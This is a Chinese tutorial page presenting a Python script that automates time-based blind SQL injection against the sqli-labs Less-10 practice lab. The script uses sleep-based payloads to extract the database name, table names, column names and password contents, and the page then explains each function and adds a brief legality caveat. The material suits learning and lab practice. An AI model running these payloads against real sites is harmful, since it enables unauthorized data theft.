python實現(xiàn)自動化的sql延時注入
自動化的sql延時注入腳本
源碼
import requests import time import datetime url = "http://www.sr.com:8082/sqli-labs-master/Less-10/" p1 = 'abcdefghijklmnopqrstuvwxyz0123456789' #獲取數(shù)據(jù)庫長度 def database_len(): for i in range(1,10): payload = '?id=1" and if(length(database())>%s,sleep(4),0)--+'%i url1 = url +payload #print(url1) time1 =datetime.datetime.now() r=requests.get(url=url1) time2=datetime.datetime.now() time3 = (time2-time1).total_seconds() #計算時間差, 忽略天 只看時分秒 total_seconds() 真正的時間差 包含天 if time3 >= 4: print(i) else: print(i) break print('數(shù)據(jù)庫長度為:',i) #database_len() #獲取數(shù)據(jù)庫名 def datebase_name(): name='' for i in range(1,9): for j in p1: payload='?id=1" and if(substr(database(),%s,1)="%s",sleep(4),1)--+' %(i,j) url1=url+payload #print(url1) time1=datetime.datetime.now() r=requests.get(url=url1) time2=datetime.datetime.now() time3=(time2-time1).total_seconds() if time3 >= 4: name += j print(name) break n = name print('數(shù)據(jù)庫名字為:'+n) #datebase_name() #獲取表 def tables_name(): global table4 table1='' table2='' table3='' table4='' for i in range(5): for j in range(1,6): for t in p1: payload='?id=1" and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)="%s"),3,0)) --+'%(i,j,t) url1=url+payload #print(url1) time1=datetime.datetime.now() r=requests.get(url=url1) time2=datetime.datetime.now() time3=(time2-time1).seconds if time3 >= 3: if i == 0: table1 +=t print('第一個表為:',table1) elif i == 1: table2 += t print('第二個表為:',table2) elif i == 2: table3 +=t print('第三個表為:',table3) elif i == 3: table4 += t print('第四個表為:',table4) else: break print('第一個表為'+table1) print('第二個表為'+table2) print('第三個表為' + table3) print('第四個表為' + table4) #tables_name() #獲取表中的字段 def table_column(): global column3 column1='' column2='' column3='' f=table4 for i in range(3): for j in range(1,9): for t in p1: payload='?id=1" and sleep(if((mid((select column_name from information_schema.columns where table_name=\'%s\' limit %s,1),%s,1)="%s"),5,0)) --+'%(f,i,j,t) url1 =url+payload #print(url1) time1 = datetime.datetime.now() r = requests.get(url=url1) time2 = datetime.datetime.now() time3 = (time2 - time1).seconds if time3 >= 5: if i == 0: column1 += t print('字段一為:'+column1) elif i == 1: column2 += t print('字段二為:'+column2) elif i == 2: column3 += t print('字段三為:'+column3) else: break print('users字段一為:'+column1) print('字段二為:'+column2) print('字段三為:',column3) #table_column() def s_content(): content1='' f1= column3 f2= table4 for i in range(20): for t in p1: payload = '?id=1" and sleep(if((mid((select %s from %s limit 7,1),%s,1)="%s" ),3,0)) --+'%(f1,f2,i,t) url1 =url+payload #print(url1) time1=datetime.datetime.now() r = requests.get(url=url1) time2 = datetime.datetime.now() time3 = (time2-time1).seconds if time3 >=3: content1 += t print('password字段一內(nèi)容為:'+content1) break print('字段內(nèi)容為:'+content1) start_time=time.time() database_len() datebase_name() tables_name() table_column() s_content() end_time=time.time() end_start_time=end_time-start_time print('總花費時間為',end_start_time,'秒')”
源碼詳解
這段代碼是一個Python腳本,用于通過SQL注入漏洞來探測和提取一個Web應用程序的數(shù)據(jù)庫信息。它使用了requests庫來發(fā)送HTTP請求,并使用time和datetime庫來測量響應時間,從而推斷出數(shù)據(jù)庫的結(jié)構(gòu)和內(nèi)容。
導入庫
import requests import time import datetime
requests: 用于發(fā)送HTTP請求。
time 和 datetime: 用于測量時間差。
定義URL
url = "http://www.sr.com:8082/sqli-labs-master/Less-10/"
目標URL,用于發(fā)送SQL注入請求。
定義字符集
p1 = 'abcdefghijklmnopqrstuvwxyz0123456789'
包含所有可能的字符,用于構(gòu)造SQL注入的payload。
獲取數(shù)據(jù)庫長度
def database_len(): # ...
通過逐步增加length(database())的值,并測量響應時間來確定數(shù)據(jù)庫名稱的長度。
獲取數(shù)據(jù)庫名
def datebase_name(): # ...
通過逐個字符地探測數(shù)據(jù)庫名稱,并測量響應時間來確定每個字符。
獲取表名
def tables_name(): # ...
通過查詢information_schema.tables表,并測量響應時間來確定表名。
獲取表中的字段
def table_column(): # ...
通過查詢information_schema.columns表,并測量響應時間來確定字段名。
獲取字段內(nèi)容
def s_content(): # ...
通過查詢特定表的特定字段,并測量響應時間來確定字段的內(nèi)容。
主程序
start_time = time.time() database_len() datebase_name() tables_name() table_column() s_content() end_time = time.time() end_start_time = end_time - start_time print('總花費時間為', end_start_time, '秒')
記錄開始時間,依次調(diào)用上述函數(shù)來獲取數(shù)據(jù)庫信息,記錄結(jié)束時間,并計算總耗時。
注意事項
SQL注入風險: 這段代碼利用了SQL注入漏洞,實際應用中應避免這種不安全的做法。
法律和道德: 在未經(jīng)授權(quán)的情況下進行此類操作是違法的,應確保在合法和授權(quán)的環(huán)境中使用。
代碼注釋: 代碼中有大量被注釋掉的print語句,這些語句可以幫助調(diào)試和理解代碼的執(zhí)行過程。
總結(jié)
這段代碼通過構(gòu)造特定的SQL注入payload,并利用時間延遲來逐步揭示數(shù)據(jù)庫的結(jié)構(gòu)和內(nèi)容。雖然這種方法在安全研究中有一定的價值,但在實際應用中應嚴格遵守法律法規(guī)和道德準則。
到此這篇關(guān)于python實現(xiàn)自動化的sql延時注入的文章就介紹到這了,更多相關(guān)python sql延時注入內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
簡單且有用的Python數(shù)據(jù)分析和機器學習代碼
Python編程是一種通用的編程語言,開源、靈活、功能強大且易于使用,python最重要的特性之一是其用于數(shù)據(jù)處理和分析任務的豐富實用程序和庫集,這篇文章主要給大家介紹了一些簡單且有用的Python數(shù)據(jù)分析和機器學習代碼,需要的朋友可以參考下2021-07-07使用Python中PDB模塊中的命令來調(diào)試Python代碼的教程
這篇文章主要介紹了使用Python中PDB模塊中的命令來調(diào)試Python代碼的教程,包括設(shè)置斷點來修改代碼等、對于Python團隊項目工作有一定幫助,需要的朋友可以參考下2015-03-03對numpy中二進制格式的數(shù)據(jù)存儲與讀取方法詳解
今天小編就為大家分享一篇對numpy中二進制格式的數(shù)據(jù)存儲與讀取方法詳解,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2018-11-11詳解如何使用Python處理INI、YAML和JSON配置文件
在軟件開發(fā)中,配置文件是存儲程序配置信息的常見方式,INI、YAML和JSON是常用的配置文件格式,各自有著特定的結(jié)構(gòu)和用途,Python擁有豐富的庫和模塊,本文將重點探討如何使用Python處理這三種格式的配置文件,需要的朋友可以參考下2023-12-12